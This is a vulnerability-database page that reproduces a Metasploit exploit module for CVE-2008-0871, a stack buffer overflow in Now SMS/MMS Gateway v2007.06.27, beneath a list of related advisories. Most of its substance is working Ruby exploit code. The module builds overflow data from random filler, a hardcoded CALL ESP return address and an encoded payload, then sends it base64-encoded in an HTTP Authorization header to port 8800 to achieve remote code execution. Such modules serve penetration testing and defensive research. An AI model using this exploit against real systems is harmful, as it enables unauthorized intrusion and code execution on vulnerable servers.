Lucene search
K

Now SMS/MMS Gateway Buffer Overflow

🗓️ 11 Aug 2008 23:48:45Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

Now SMS/MMS Gateway Buffer Overflow vulnerability in version v2007.06.27 allows remote attackers to execute arbitrary code via a crafted GET reques

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Now SMS/MMS Gateway Multiple Remote Overflows
20 Feb 200800:00
nessus
Tenable Nessus
Now SMS/MMS Gateway < 2008.02.22 Multiple Remote Overflows
2 Jun 200800:00
nessus
Circl
CVE-2008-0871
29 May 200800:00
circl
CVE
CVE-2008-0871
21 Feb 200819:00
cve
Cvelist
CVE-2008-0871
21 Feb 200819:00
cvelist
Exploit DB
Now SMS/Mms Gateway - Remote Buffer Overflow (Metasploit)
9 May 201000:00
exploitdb
NVD
CVE-2008-0871
21 Feb 200819:44
nvd
Packet Storm
Now SMS/MMS Gateway Buffer Overflow
26 Nov 200900:00
packetstorm
Prion
Stack overflow
21 Feb 200819:44
prion
seebug.org
Now SMS/MMS Gateway HTTP/SMPP请求栈溢出漏洞
1 Jun 200800:00
seebug
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Now SMS/MMS Gateway Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.
        By sending a specially crafted GET request, an attacker may be able to execute
        arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-0871' ],
          [ 'OSVDB', '42953'],
          [ 'BID', '27896' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 0x94,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-02-19'))

    register_options( [ Opt::RPORT(8800) ])
  end

  def exploit
    c = connect

    data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)

    print_status("Trying target #{target.name}...")

    res = send_request_raw({
        'uri'          => '/',
        'method'       => 'GET',
        'headers'      =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"
        }
      }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
1.6Low risk
Vulners AI Score1.6
CVSS 26.8
EPSS0.77042
24